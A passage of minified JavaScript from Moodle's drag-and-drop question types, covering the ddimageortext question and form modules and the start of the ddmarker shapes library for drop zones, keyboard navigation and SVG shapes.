drop=$(dropNode);thisQ.isPointInDrop(pageX,pageY,drop)&amp;&amp;!highlighted?(highlighted=!0,drop.addClass(&quot;valid-drag-over-drop&quot;)):drop.removeClass(&quot;valid-drag-over-drop&quot;)})),this.getRoot().find(&quot;.draghome.placed.group&quot;+this.getGroup(drag)).not(&quot;.beingdragged&quot;).each((function(i,dropNode){var drop=$(dropNode);!thisQ.isPointInDrop(pageX,pageY,drop)||highlighted||thisQ.isDragSameAsDrop(drag,drop)?drop.removeClass(&quot;valid-drag-over-drop&quot;):(highlighted=!0,drop.addClass(&quot;valid-drag-over-drop&quot;))}))},DragDropOntoImageQuestion.prototype.dragEnd=function(pageX,pageY,drag){var thisQ=this,root=this.getRoot(),placed=!1;root.find(&quot;.dropzone.group&quot;+this.getGroup(drag)).each((function(i,dropNode){var drop=$(dropNode);return!thisQ.isPointInDrop(pageX,pageY,drop)||(drop.removeClass(&quot;valid-drag-over-drop&quot;),thisQ.sendDragToDrop(drag,drop),placed=!0,!1)})),placed||root.find(&quot;.draghome.placed.group&quot;+this.getGroup(drag)).not(&quot;.beingdragged&quot;).each((function(i,placedNode){var placedDrag=$(placedNode);if(!thisQ.isPointInDrop(pageX,pageY,placedDrag)||thisQ.isDragSameAsDrop(drag,placedDrag))return!0;placedDrag.removeClass(&quot;valid-drag-over-drop&quot;);var currentPlace=thisQ.getClassnameNumericSuffix(placedDrag,&quot;inplace&quot;),drop=thisQ.getDrop(drag,currentPlace);return thisQ.sendDragToDrop(drag,drop),placed=!0,!1})),placed||this.sendDragHome(drag)},DragDropOntoImageQuestion.prototype.sendDragToDrop=function(drag,drop){var oldDrag=this.getCurrentDragInPlace(this.getPlace(drop));if(0!==oldDrag.length){oldDrag.addClass(&quot;beingdragged&quot;),oldDrag.offset(oldDrag.offset());var currentPlace=this.getClassnameNumericSuffix(oldDrag,&quot;inplace&quot;);this.getDrop(oldDrag,currentPlace).addClass(&quot;active&quot;),this.sendDragHome(oldDrag)}0===drag.length?(this.setInputValue(this.getPlace(drop),0),drop.data(&quot;isfocus&quot;)&amp;&amp;drop.focus()):(this.setInputValue(this.getPlace(drop),this.getChoice(drag)),drag.removeClass(&quot;unplaced&quot;).addClass(&quot;placed inplace&quot;+this.getPlace(drop)),drag.attr(&quot;tabindex&quot;,0),this.animateTo(drag,drop))},DragDropOntoImageQuestion.prototype.sendDragHome=function(drag){var currentPlace=this.getClassnameNumericSuffix(drag,&quot;inplace&quot;);null!==currentPlace&amp;&amp;drag.removeClass(&quot;inplace&quot;+currentPlace),drag.data(&quot;unplaced&quot;,!0),this.animateTo(drag,this.getDragHome(this.getGroup(drag),this.getChoice(drag)))},DragDropOntoImageQuestion.prototype.handleKeyPress=function(e){var drop=$(e.target).closest(&quot;.dropzone&quot;);if(0===drop.length){var placedDrag=$(e.target),currentPlace=this.getClassnameNumericSuffix(placedDrag,&quot;inplace&quot;);null!==currentPlace&amp;&amp;(drop=this.getDrop(placedDrag,currentPlace))}var currentDrag=this.getCurrentDragInPlace(this.getPlace(drop)),nextDrag=$();switch(e.keyCode){case keys.space:case keys.arrowRight:case keys.arrowDown:nextDrag=this.getNextDrag(this.getGroup(drop),currentDrag);break;case keys.arrowLeft:case keys.arrowUp:nextDrag=this.getPreviousDrag(this.getGroup(drop),currentDrag);break;case keys.escape:questionManager.isKeyboardNavigation=!1;break;default:return void(questionManager.isKeyboardNavigation=!1)}if(nextDrag.length){nextDrag.data(&quot;isfocus&quot;,!0),nextDrag.addClass(&quot;beingdragged&quot;);var hiddenDrag=this.getDragClone(nextDrag);if(hiddenDrag.length)if(nextDrag.hasClass(&quot;infinite&quot;)){var noOfDrags=this.noOfDropsInGroup(this.getGroup(nextDrag));if(this.getInfiniteDragClones(nextDrag,!1).length&lt;noOfDrags){var cloneDrag=nextDrag.clone();cloneDrag.removeClass(&quot;beingdragged&quot;),cloneDrag.removeAttr(&quot;tabindex&quot;),hiddenDrag.after(cloneDrag),questionManager.addEventHandlersToDrag(cloneDrag),nextDrag.offset(cloneDrag.offset())}else hiddenDrag.addClass(&quot;active&quot;),nextDrag.offset(hiddenDrag.offset())}else hiddenDrag.addClass(&quot;active&quot;),nextDrag.offset(hiddenDrag.offset())}else drop.data(&quot;isfocus&quot;,!0);e.preventDefault(),this.sendDragToDrop(nextDrag,drop)},DragDropOntoImageQuestion.prototype.getNextDrag=function(group,drag){var choice,numChoices=this.noOfChoicesInGroup(group);choice=0===drag.length?1:this.getChoice(drag)+1;for(var next=this.getUnplacedChoice(group,choice);0===next.length&amp;&amp;choice&lt;numChoices;)choice++,next=this.getUnplacedChoice(group,choice);return next},DragDropOntoImageQuestion.prototype.getPreviousDrag=function(group,drag){var choice;choice=0===drag.length?this.noOfChoicesInGroup(group):this.getChoice(drag)-1;for(var previous=this.getUnplacedChoice(group,choice);0===previous.length&amp;&amp;choice&gt;1;)choice--,previous=this.getUnplacedChoice(group,choice);return previous},DragDropOntoImageQuestion.prototype.animateTo=function(drag,target){var currentPos=drag.offset(),targetPos=target.offset(),thisQ=this;M.util.js_pending(&quot;qtype_ddimageortext-animate-&quot;+thisQ.containerId),drag.animate({left:parseInt(drag.css(&quot;left&quot;))+targetPos.left-currentPos.left,top:parseInt(drag.css(&quot;top&quot;))+targetPos.top-currentPos.top},{duration:&quot;fast&quot;,done:function(){$(&quot;body&quot;).trigger(&quot;qtype_ddimageortext-dragmoved&quot;,[drag,target,thisQ]),M.util.js_complete(&quot;qtype_ddimageortext-animate-&quot;+thisQ.containerId)}})},DragDropOntoImageQuestion.prototype.isPointInDrop=function(pageX,pageY,drop){var position=drop.offset();return drop.hasClass(&quot;draghome&quot;)?pageX&gt;=position.left&amp;&amp;pageX&lt;position.left+drop.outerWidth()&amp;&amp;pageY&gt;=position.top&amp;&amp;pageY&lt;position.top+drop.outerHeight():pageX&gt;=position.left&amp;&amp;pageX&lt;position.left+drop.width()&amp;&amp;pageY&gt;=position.top&amp;&amp;pageY&lt;position.top+drop.height()},DragDropOntoImageQuestion.prototype.setInputValue=function(place,choice){this.getRoot().find(&quot;input.placeinput.place&quot;+place).val(choice)},DragDropOntoImageQuestion.prototype.getRoot=function(){return $(document.getElementById(this.containerId))},DragDropOntoImageQuestion.prototype.bgImage=function(){return this.getRoot().find(&quot;img.dropbackground&quot;)},DragDropOntoImageQuestion.prototype.getDragHome=function(group,choice){return this.getRoot().find(&quot;.draghome.dragplaceholder.group&quot;+group+&quot;.choice&quot;+choice).is(&quot;:visible&quot;)?this.getRoot().find(&quot;.draghome.dragplaceholder.group&quot;+group+&quot;.choice&quot;+choice):this.getRoot().find(&quot;.dragitemgroup&quot;+group+&quot; .draghome.infinite.choice&quot;+choice+&quot;.group&quot;+group)},DragDropOntoImageQuestion.prototype.getUnplacedChoice=function(group,choice){return this.getRoot().find(&quot;.ddarea .draghome.group&quot;+group+&quot;.choice&quot;+choice+&quot;.unplaced&quot;).slice(0,1)},DragDropOntoImageQuestion.prototype.getCurrentDragInPlace=function(place){return this.getRoot().find(&quot;.ddarea .draghome.inplace&quot;+place)},DragDropOntoImageQuestion.prototype.noOfDropsInGroup=function(group){return this.getRoot().find(&quot;.dropzone.group&quot;+group).length},DragDropOntoImageQuestion.prototype.noOfChoicesInGroup=function(group){return this.getRoot().find(&quot;.dragitemgroup&quot;+group+&quot; .draghome&quot;).length},DragDropOntoImageQuestion.prototype.getClassnameNumericSuffix=function(node,prefix){var classes=node.attr(&quot;class&quot;);if(&quot;&quot;!==classes)for(var classesArr=classes.split(&quot; &quot;),index=0;index&lt;classesArr.length;index++){if(new RegExp(&quot;^&quot;+prefix+&quot;([0-9])+$&quot;).test(classesArr[index])){var match=new RegExp(&quot;([0-9])+$&quot;).exec(classesArr[index]);return Number(match[0])}}return null},DragDropOntoImageQuestion.prototype.getChoice=function(drag){return this.getClassnameNumericSuffix(drag,&quot;choice&quot;)},DragDropOntoImageQuestion.prototype.getGroup=function(node){return this.getClassnameNumericSuffix(node,&quot;group&quot;)},DragDropOntoImageQuestion.prototype.getPlace=function(node){return this.getClassnameNumericSuffix(node,&quot;place&quot;)},DragDropOntoImageQuestion.prototype.getDragClone=function(drag){return this.getRoot().find(&quot;.dragitemgroup&quot;+this.getGroup(drag)+&quot; .draghome.choice&quot;+this.getChoice(drag)+&quot;.group&quot;+this.getGroup(drag)+&quot;.dragplaceholder&quot;)},DragDropOntoImageQuestion.prototype.getInfiniteDragClones=function(drag,inHome){return inHome?this.getRoot().find(&quot;.dragitemgroup&quot;+this.getGroup(drag)+&quot; .draghome.choice&quot;+this.getChoice(drag)+&quot;.group&quot;+this.getGroup(drag)+&quot;.infinite&quot;).not(&quot;.dragplaceholder&quot;):this.getRoot().find(&quot;.draghome.choice&quot;+this.getChoice(drag)+&quot;.group&quot;+this.getGroup(drag)+&quot;.infinite&quot;).not(&quot;.dragplaceholder&quot;)},DragDropOntoImageQuestion.prototype.getDrop=function(drag,currentPlace){return this.getRoot().find(&quot;.dropzone.group&quot;+this.getGroup(drag)+&quot;.place&quot;+currentPlace)},DragDropOntoImageQuestion.prototype.handleResize=function(){var thisQ=this,bgRatio=this.bgRatio();this.isPrinting&amp;&amp;(bgRatio=1),this.getRoot().find(&quot;.ddarea .dropzone&quot;).each((function(i,dropNode){$(dropNode).css(&quot;left&quot;,parseInt($(dropNode).data(&quot;originX&quot;))*parseFloat(bgRatio)).css(&quot;top&quot;,parseInt($(dropNode).data(&quot;originY&quot;))*parseFloat(bgRatio)),thisQ.handleElementScale(dropNode,&quot;left top&quot;)})),this.getRoot().find(&quot;div.droparea .draghome&quot;).not(&quot;.beingdragged&quot;).each((function(key,drag){$(drag).css(&quot;left&quot;,parseFloat($(drag).data(&quot;originX&quot;))*parseFloat(bgRatio)).css(&quot;top&quot;,parseFloat($(drag).data(&quot;originY&quot;))*parseFloat(bgRatio)),thisQ.handleElementScale(drag,&quot;left top&quot;)}))},DragDropOntoImageQuestion.prototype.bgRatio=function(){var bgImg=this.bgImage(),bgImgNaturalWidth=bgImg.get(0).naturalWidth;return bgImg.width()/bgImgNaturalWidth},DragDropOntoImageQuestion.prototype.handleElementScale=function(element,type){var bgRatio=parseFloat(this.bgRatio());this.isPrinting&amp;&amp;(bgRatio=1),$(element).css({&quot;-webkit-transform&quot;:&quot;scale(&quot;+bgRatio+&quot;)&quot;,&quot;-moz-transform&quot;:&quot;scale(&quot;+bgRatio+&quot;)&quot;,&quot;-ms-transform&quot;:&quot;scale(&quot;+bgRatio+&quot;)&quot;,&quot;-o-transform&quot;:&quot;scale(&quot;+bgRatio+&quot;)&quot;,transform:&quot;scale(&quot;+bgRatio+&quot;)&quot;,&quot;transform-origin&quot;:type})},DragDropOntoImageQuestion.prototype.calculateZIndex=function(){var zIndex=0;return this.getRoot().find(&quot;.ddarea .dropzone, div.droparea .draghome&quot;).each((function(i,dropNode){var itemZIndex=(dropNode=$(dropNode)).css(&quot;z-index&quot;)?parseInt(dropNode.css(&quot;z-index&quot;)):0;itemZIndex&gt;zIndex&amp;&amp;(zIndex=itemZIndex)})),zIndex},DragDropOntoImageQuestion.prototype.isDragSameAsDrop=function(drag,drop){return this.getChoice(drag)===this.getChoice(drop)&amp;&amp;this.getGroup(drag)===this.getGroup(drop)};var questionManager={eventHandlersInitialised:!1,dragEventHandlersInitialised:{},isPrinting:!1,isKeyboardNavigation:!1,questions:{},init:function(containerId,readOnly,places){if(questionManager.questions[containerId]=new DragDropOntoImageQuestion(containerId,readOnly,places),questionManager.eventHandlersInitialised||(questionManager.setupEventHandlers(),questionManager.eventHandlersInitialised=!0),!questionManager.dragEventHandlersInitialised.hasOwnProperty(containerId)){questionManager.dragEventHandlersInitialised[containerId]=!0;var questionContainer=document.getElementById(containerId);questionContainer.classList.contains(&quot;ddimageortext&quot;)&amp;&amp;!questionContainer.classList.contains(&quot;qtype_ddimageortext-readonly&quot;)&amp;&amp;questionManager.addEventHandlersToDrag($(questionContainer).find(&quot;.draghome&quot;))}},setupEventHandlers:function(){$(&quot;body&quot;).on(&quot;keydown&quot;,&quot;.que.ddimageortext:not(.qtype_ddimageortext-readonly) .dropzones .dropzone&quot;,questionManager.handleKeyPress).on(&quot;keydown&quot;,&quot;.que.ddimageortext:not(.qtype_ddimageortext-readonly) .draghome.placed:not(.beingdragged)&quot;,questionManager.handleKeyPress).on(&quot;qtype_ddimageortext-dragmoved&quot;,questionManager.handleDragMoved),$(window).on(&quot;resize&quot;,(function(){questionManager.handleWindowResize(!1)})),window.addEventListener(&quot;beforeprint&quot;,(function(){questionManager.isPrinting=!0,questionManager.handleWindowResize(questionManager.isPrinting)})),window.addEventListener(&quot;afterprint&quot;,(function(){questionManager.isPrinting=!1,questionManager.handleWindowResize(questionManager.isPrinting)})),setTimeout((function(){questionManager.fixLayoutIfThingsMoved()}),100)},addEventHandlersToDrag:function(element){element.unbind(&quot;mousedown touchstart&quot;),element.on(&quot;mousedown touchstart&quot;,questionManager.handleDragStart)},handleDragStart:function(e){e.preventDefault();var question=questionManager.getQuestionForEvent(e);question&amp;&amp;question.handleDragStart(e)},handleKeyPress:function(e){if(!questionManager.isKeyboardNavigation){questionManager.isKeyboardNavigation=!0;var question=questionManager.getQuestionForEvent(e);question&amp;&amp;question.handleKeyPress(e)}},handleWindowResize:function(isPrinting){for(var containerId in questionManager.questions)questionManager.questions.hasOwnProperty(containerId)&amp;&amp;(questionManager.questions[containerId].isPrinting=isPrinting,questionManager.questions[containerId].handleResize())},fixLayoutIfThingsMoved:function(){this.handleWindowResize(questionManager.isPrinting),setTimeout((function(){questionManager.fixLayoutIfThingsMoved(questionManager.isPrinting)}),100)},handleDragMoved:function(e,drag,target,thisQ){drag.removeClass(&quot;beingdragged&quot;).css(&quot;z-index&quot;,&quot;&quot;),drag.css(&quot;top&quot;,target.position().top).css(&quot;left&quot;,target.position().left),target.after(drag),target.removeClass(&quot;active&quot;),void 0!==drag.data(&quot;unplaced&quot;)&amp;&amp;!0===drag.data(&quot;unplaced&quot;)?(drag.removeClass(&quot;placed&quot;).addClass(&quot;unplaced&quot;),drag.removeAttr(&quot;tabindex&quot;),drag.removeData(&quot;unplaced&quot;),drag.css(&quot;top&quot;,&quot;&quot;).css(&quot;left&quot;,&quot;&quot;).css(&quot;transform&quot;,&quot;&quot;),drag.hasClass(&quot;infinite&quot;)&amp;&amp;thisQ.getInfiniteDragClones(drag,!0).length&gt;1&amp;&amp;thisQ.getInfiniteDragClones(drag,!0).first().remove()):(drag.data(&quot;originX&quot;,target.data(&quot;originX&quot;)).data(&quot;originY&quot;,target.data(&quot;originY&quot;)),thisQ.handleElementScale(drag,&quot;left top&quot;)),void 0!==drag.data(&quot;isfocus&quot;)&amp;&amp;!0===drag.data(&quot;isfocus&quot;)&amp;&amp;(drag.focus(),drag.removeData(&quot;isfocus&quot;)),void 0!==target.data(&quot;isfocus&quot;)&amp;&amp;!0===target.data(&quot;isfocus&quot;)&amp;&amp;target.removeData(&quot;isfocus&quot;),questionManager.isKeyboardNavigation&amp;&amp;(questionManager.isKeyboardNavigation=!1),thisQ.isQuestionInteracted()&amp;&amp;(questionManager.handleFormDirty(),thisQ.questionAnswer=thisQ.getQuestionAnsweredValues())},getQuestionForEvent:function(e){var containerId=$(e.currentTarget).closest(&quot;.que.ddimageortext&quot;).attr(&quot;id&quot;);return questionManager.questions[containerId]},handleFormDirty:function(){const responseForm=document.getElementById(&quot;responseform&quot;);FormChangeChecker.markFormAsDirty(responseForm)}};return{init:questionManager.init}}));
/*
 * JavaScript to allow dragging options to slots (using mouse down or touch) or tab through slots using keyboard.
 *
 * @module     qtype_ddimageortext/form
 * @copyright  2018 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;qtype_ddimageortext/form&quot;,[&quot;jquery&quot;,&quot;core/dragdrop&quot;],(function($,dragDrop){var dragDropToImageForm={maxBgImageSize:null,maxDragImageSize:null,fp:null,init:function(){dragDropToImageForm.fp=dragDropToImageForm.filePickers(),$(&quot;#id_previewareaheader&quot;).append(&#039;&lt;div class=&quot;ddarea que ddimageortext&quot;&gt;  &lt;div class=&quot;droparea&quot;&gt;    &lt;img class=&quot;dropbackground&quot; /&gt;    &lt;div class=&quot;dropzones&quot;&gt;&lt;/div&gt;  &lt;/div&gt;  &lt;div class=&quot;dragitems&quot;&gt;&lt;/div&gt;&lt;/div&gt;&#039;),dragDropToImageForm.updateVisibilityOfFilePickers(),dragDropToImageForm.setOptionsForDragItemSelectors(),dragDropToImageForm.setupEventHandlers(),dragDropToImageForm.waitForFilePickerToInitialise()},waitForFilePickerToInitialise:function(){null!==dragDropToImageForm.fp.file(&quot;bgimage&quot;).href?(M.util.js_pending(&quot;dragDropToImageForm&quot;),$(&#039;form.mform[data-qtype=&quot;ddimageortext&quot;]&#039;).on(&quot;change&quot;,&quot;.filepickerhidden&quot;,(function(){M.util.js_pending(&quot;dragDropToImageForm&quot;),dragDropToImageForm.loadPreviewImage()})),dragDropToImageForm.loadPreviewImage()):setTimeout(dragDropToImageForm.waitForFilePickerToInitialise,1e3)},loadPreviewImage:function(){$(&quot;fieldset#id_previewareaheader .dropbackground&quot;).one(&quot;load&quot;,dragDropToImageForm.afterPreviewImageLoaded).attr(&quot;src&quot;,dragDropToImageForm.fp.file(&quot;bgimage&quot;).href)},afterPreviewImageLoaded:function(){dragDropToImageForm.createDropZones(),M.util.js_complete(&quot;dragDropToImageForm&quot;)},createDropZones:function(){var dropZoneHolder=$(&quot;.dropzones&quot;);if(dropZoneHolder.empty(),null!==dragDropToImageForm.fp.file(&quot;bgimage&quot;).href){for(var numDrops=dragDropToImageForm.form.getFormValue(&quot;nodropzone&quot;,[]),dropNo=0;dropNo&lt;numDrops;dropNo++){var dragNo=dragDropToImageForm.form.getFormValue(&quot;drops&quot;,[dropNo,&quot;choice&quot;]);if(&quot;0&quot;!==dragNo){dragNo-=1;var group=dragDropToImageForm.form.getFormValue(&quot;drags&quot;,[dragNo,&quot;draggroup&quot;]),label=dragDropToImageForm.form.getFormValue(&quot;draglabel&quot;,[dragNo]);if(&quot;image&quot;===dragDropToImageForm.form.getFormValue(&quot;drags&quot;,[dragNo,&quot;dragitemtype&quot;])){var imgUrl=dragDropToImageForm.fp.file(&quot;dragitem[&quot;+dragNo+&quot;]&quot;).href;if(null===imgUrl)continue;dropZoneHolder.append(&#039;&lt;img class=&quot;droppreview group&#039;+group+&quot; drop&quot;+dropNo+&#039;&quot; src=&quot;&#039;+imgUrl+&#039;&quot; alt=&quot;&#039;+label+&#039;&quot; data-drop-no=&quot;&#039;+dropNo+&#039;&quot;&gt;&#039;)}else&quot;&quot;!==label&amp;&amp;dropZoneHolder.append(&#039;&lt;div class=&quot;droppreview group&#039;+group+&quot; drop&quot;+dropNo+&#039;&quot;  data-drop-no=&quot;&#039;+dropNo+&#039;&quot;&gt;&#039;+label+&quot;&lt;/div&gt;&quot;)}}dragDropToImageForm.waitForAllDropImagesToBeLoaded()}},waitForAllDropImagesToBeLoaded:function(){$(&quot;.dropzones img&quot;).not((function(i,imgNode){return dragDropToImageForm.imageIsLoaded(imgNode)})).length&gt;0?setTimeout((function(){dragDropToImageForm.waitForAllDropImagesToBeLoaded()}),100):dragDropToImageForm.updateDropZones()},imageIsLoaded:function(imgElement){return imgElement.complete&amp;&amp;0!==imgElement.naturalHeight},updateDropZones:function(){if(null!==dragDropToImageForm.fp.file(&quot;bgimage&quot;).href){for(var dropBackgroundPosition=$(&quot;fieldset#id_previewareaheader .dropbackground&quot;).offset(),numDrops=dragDropToImageForm.form.getFormValue(&quot;nodropzone&quot;,[]),dropNo=0;dropNo&lt;numDrops;dropNo++){var drop=$(&quot;.dropzones .drop&quot;+dropNo);if(0!==drop.length){var dragNo=dragDropToImageForm.form.getFormValue(&quot;drops&quot;,[dropNo,&quot;choice&quot;])-1;drop.offset({left:dropBackgroundPosition.left+parseInt(dragDropToImageForm.form.getFormValue(&quot;drops&quot;,[dropNo,&quot;xleft&quot;])),top:dropBackgroundPosition.top+parseInt(dragDropToImageForm.form.getFormValue(&quot;drops&quot;,[dropNo,&quot;ytop&quot;]))});var label=dragDropToImageForm.form.getFormValue(&quot;draglabel&quot;,[dragNo]);drop.is(&quot;img&quot;)?drop.attr(&quot;alt&quot;,label):drop.html(label)}}$(&quot;.dropzones .droppreview&quot;).css(&quot;padding&quot;,&quot;0&quot;);for(var numGroups=$(&quot;.draggroup select&quot;).first().find(&quot;option&quot;).length,group=1;group&lt;=numGroups;group++)dragDropToImageForm.resizeAllDragsAndDropsInGroup(group)}},resizeAllDragsAndDropsInGroup:function(group){var drops=$(&quot;.dropzones .droppreview.group&quot;+group),maxWidth=0,maxHeight=0;drops.each((function(i,drop){maxWidth=Math.max(maxWidth,Math.ceil(drop.offsetWidth)),maxHeight=Math.max(maxHeight,Math.ceil(drop.offsetHeight))})),maxWidth+=10,maxHeight+=10,drops.each((function(i,drop){var left=Math.round((maxWidth-drop.offsetWidth)/2),top=Math.floor((maxHeight-drop.offsetHeight)/2);$(drop).css({&quot;padding-left&quot;:left+&quot;px&quot;,&quot;padding-right&quot;:maxWidth-drop.offsetWidth-left+&quot;px&quot;,&quot;padding-top&quot;:top+&quot;px&quot;,&quot;padding-bottom&quot;:maxHeight-drop.offsetHeight-top+&quot;px&quot;})}))},setupEventHandlers:function(){$(&quot;fieldset#id_draggableitemheader&quot;).on(&quot;change input&quot;,&quot;input, select&quot;,(function(e){var input=$(e.target).closest(&quot;select, input&quot;);input.hasClass(&quot;dragitemtype&quot;)&amp;&amp;dragDropToImageForm.updateVisibilityOfFilePickers(),dragDropToImageForm.setOptionsForDragItemSelectors(),input.is(&quot;.dragitemtype, .draggroup&quot;)?dragDropToImageForm.createDropZones():input.is(&quot;.draglabel&quot;)&amp;&amp;dragDropToImageForm.updateDropZones()})),$(&quot;fieldset#id_dropzoneheader&quot;).on(&quot;change input&quot;,&quot;input, select&quot;,(function(e){$(e.target).closest(&quot;select, input&quot;).is(&quot;select&quot;)?dragDropToImageForm.createDropZones():dragDropToImageForm.updateDropZones()})),$(&quot;fieldset#id_previewareaheader&quot;).on(&quot;mousedown touchstart&quot;,&quot;.droppreview&quot;,(function(e){dragDropToImageForm.dragStart(e)})),$(window).on(&quot;resize&quot;,(function(){dragDropToImageForm.updateDropZones()}))},updateVisibilityOfFilePickers:function(){for(var numDrags=dragDropToImageForm.form.getFormValue(&quot;noitems&quot;,[]),dragNo=0;dragNo&lt;numDrags;dragNo++){var picker=$(&quot;input#id_dragitem_&quot;+dragNo).closest(&quot;.fitem_ffilepicker&quot;);&quot;image&quot;===dragDropToImageForm.form.getFormValue(&quot;drags&quot;,[dragNo,&quot;dragitemtype&quot;])?picker.show():picker.hide()}},setOptionsForDragItemSelectors:function(){for(var dragItemOptions={0:&quot;&quot;},numDrags=dragDropToImageForm.form.getFormValue(&quot;noitems&quot;,[]),numDrops=dragDropToImageForm.form.getFormValue(&quot;nodropzone&quot;,[]),dragNo=0;dragNo&lt;numDrags;dragNo++){var label=dragDropToImageForm.form.getFormValue(&quot;draglabel&quot;,[dragNo]),file=dragDropToImageForm.fp.file(dragDropToImageForm.form.toNameWithIndex(&quot;dragitem&quot;,[dragNo]));&quot;image&quot;===dragDropToImageForm.form.getFormValue(&quot;drags&quot;,[dragNo,&quot;dragitemtype&quot;])&amp;&amp;null!==file.name?dragItemOptions[dragNo+1]=dragNo+1+&quot;. &quot;+label+&quot; (&quot;+file.name+&quot;)&quot;:&quot;&quot;!==label&amp;&amp;(dragItemOptions[dragNo+1]=dragNo+1+&quot;. &quot;+label)}for(var dropNo=0;dropNo&lt;numDrops;dropNo++){var selector=$(&quot;#id_drops_&quot;+dropNo+&quot;_choice&quot;),selectedvalue=selector.val();for(var value in selector.find(&quot;option&quot;).remove(),dragItemOptions)if(dragItemOptions.hasOwnProperty(value)){selector.append(&#039;&lt;option value=&quot;&#039;+value+&#039;&quot;&gt;&#039;+dragItemOptions[value]+&quot;&lt;/option&gt;&quot;);var optionnode=selector.find(&#039;option[value=&quot;&#039;+value+&#039;&quot;]&#039;);parseInt(value)===parseInt(selectedvalue)?optionnode.attr(&quot;selected&quot;,!0):dragDropToImageForm.isItemUsed(parseInt(value))&amp;&amp;optionnode.attr(&quot;disabled&quot;,!0)}}},isItemUsed:function(value){return 0!==value&amp;&amp;(!dragDropToImageForm.form.getFormValue(&quot;drags&quot;,[value-1,&quot;infinite&quot;])&amp;&amp;0!==$(&quot;fieldset#id_dropzoneheader select&quot;).filter((function(i,selectNode){return parseInt($(selectNode).val())===value})).length)},dragStart:function(e){var drop=$(e.target).closest(&quot;.droppreview&quot;);dragDrop.prepare(e).start&amp;&amp;dragDrop.start(e,drop,(function(x,y,drop){dragDropToImageForm.dragMove(drop)}),(function(){dragDropToImageForm.dragEnd()}))},dragMove:function(drop){var backgroundImage=$(&quot;fieldset#id_previewareaheader .dropbackground&quot;),backgroundPosition=backgroundImage.offset(),dropNo=drop.data(&quot;dropNo&quot;),dropPosition=drop.offset(),left=Math.round(dropPosition.left-backgroundPosition.left),top=Math.round(dropPosition.top-backgroundPosition.top);left=Math.round(Math.max(0,Math.min(left,backgroundImage.outerWidth()-drop.outerWidth()))),top=Math.round(Math.max(0,Math.min(top,backgroundImage.outerHeight()-drop.outerHeight()))),dragDropToImageForm.form.setFormValue(&quot;drops&quot;,[dropNo,&quot;xleft&quot;],left),dragDropToImageForm.form.setFormValue(&quot;drops&quot;,[dropNo,&quot;ytop&quot;],top)},dragEnd:function(){dragDropToImageForm.updateDropZones()},form:{toNameWithIndex:function(name,indexes){for(var indexString=name,i=0;i&lt;indexes.length;i++)indexString=indexString+&quot;[&quot;+indexes[i]+&quot;]&quot;;return indexString},getEl:function(name,indexes){return $(&#039;form.mform[data-qtype=&quot;ddimageortext&quot;]&#039;)[0].elements[this.toNameWithIndex(name,indexes)]},getFormValue:function(name,indexes){var el=this.getEl(name,indexes);return el.type||(el=el[el.length-1]),&quot;checkbox&quot;===el.type?el.checked:el.value},setFormValue:function(name,indexes,value){var el=this.getEl(name,indexes);&quot;checkbox&quot;===el.type?el.checked=value:el.value=value}},filePickers:function(){var draftItemIdsToName,nameToParentNode;void 0===draftItemIdsToName&amp;&amp;(draftItemIdsToName={},nameToParentNode={},$(&#039;form.mform[data-qtype=&quot;ddimageortext&quot;] input.filepickerhidden&#039;).each((function(index,filepicker){draftItemIdsToName[filepicker.value]=filepicker.name,nameToParentNode[filepicker.name]=filepicker.parentNode})));return{file:function(name){var fileAnchor=$(nameToParentNode[name]).find(&quot;div.filepicker-filelist a&quot;);return fileAnchor.length?{href:fileAnchor.get(0).href,name:fileAnchor.get(0).innerHTML}:{href:null,name:null}},name:function(draftitemid){return draftItemIdsToName[draftitemid]}}}};return{init:dragDropToImageForm.init}}));
/**
 * Library of classes for handling simple shapes.
 *
 * These classes can represent shapes, let you alter them, can go to and from a string
 * representation, and can give you an SVG representation.
 *
 * @module qtype_ddmarker/shapes
 * @copyright  2018 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;qtype_ddmarker/shapes&quot;,(function(){function Point(x,y){this.x=x,this.y=y}function Shape(label,x,y){this.label=label,this.centre=new Point(x||0,y||0)}function Circle(label,x,y,radius){x=x||15,y=y||15,Shape.call(this,label,x,y),this.radius=radius||15}function Rectangle(label,x,y,width,height){Shape.call(this,label,x,y),this.width=width||30,this.height=height||30}function Polygon(label,points){Shape.call(this,label,0,0),this.points=points?points.slice():[new Point(10,10),new Point(40,10),new Point(10,40)],this.normalizeShape(),this.ratio=1}function NullShape(label){Shape.call(this,label)}function createSvgElement(svg,tagName){var svgEl=svg.ownerDocument.createElementNS(&quot;http://www.w3.org/2000/svg&quot;,tagName);return svg.appendChild(svgEl),svgEl}function createSvgShapeGroup(svg,tagName){var svgEl=createSvgElement(svg,&quot;g&quot;);return createSvgElement(svgEl,tagName).setAttribute(&quot;class&quot;,&quot;shape&quot;),createSvgElement(svgEl,&quot;text&quot;).setAttribute(&quot;class&quot;,&quot;shapeLabel&quot;),svgEl}return Point.prototype.toString=function(){return this.x+&quot;,&quot;+this.y},Point.prototype.move=function(dx,dy){this.x+=dx,this.y+=dy},Point.prototype.offset=function(offsetX,offsetY){return offsetX instanceof Point&amp;&amp;(offsetY=offsetX.y,offsetX=offsetX.x),new Point(this.x+offsetX,this.y+offsetY)},Point.parse=function(coordinates){var bits=coordinates.split(&quot;,&quot;);if(2!==bits.length)throw new Error(coordinates+&quot; is not a valid point&quot;);return new Point(Math.round(bits[0]),Math.round(bits[1]))},Shape.prototype.getType=function(){throw new Error(&quot;Not implemented.&quot;)},Shape.prototype.getCoordinates=function(){throw new Error(&quot;Not implemented.&quot;)},Shape.prototype.parse=function(coordinates,ratio){throw new Error(&quot;Not implemented.&quot;)},Shape.prototype.move=function(dx,dy,maxX,maxY){},Shape.prototype.edit=function(handleIndex,dx,dy,maxX,maxY){},Shape.prototype.normalizeShape=function(){},Shape.prototype.makeSvg=function(svg){throw new Error(&quot;Not implemented.&quot;)},Shape.prototype.updateSvg=function(svgEl){},Shape.prototype.makeSimilarCircle=function(){throw new Error(&quot;Not implemented.&quot;)},Shape.prototype.makeSimilarRectangle=function(){throw new Error(&quot;Not implemented.&quot;)},Shape.prototype.makeSimilarPolygon=function(){throw new Error(&quot;Not implemented.&quot;)},Shape.prototype.getHandlePositions=function(){return null},Circle.prototype=new Shape,Circle.prototype.getType=function(){return&quot;circle&quot;},Circle.prototype.getCoordinates=function(){return this.centre+&quot;;&quot;+Math.abs(this.radius)},Circle.prototype.makeSvg=function(svg){var svgEl=createSvgShapeGroup(svg,&quot;circle&quot;);return 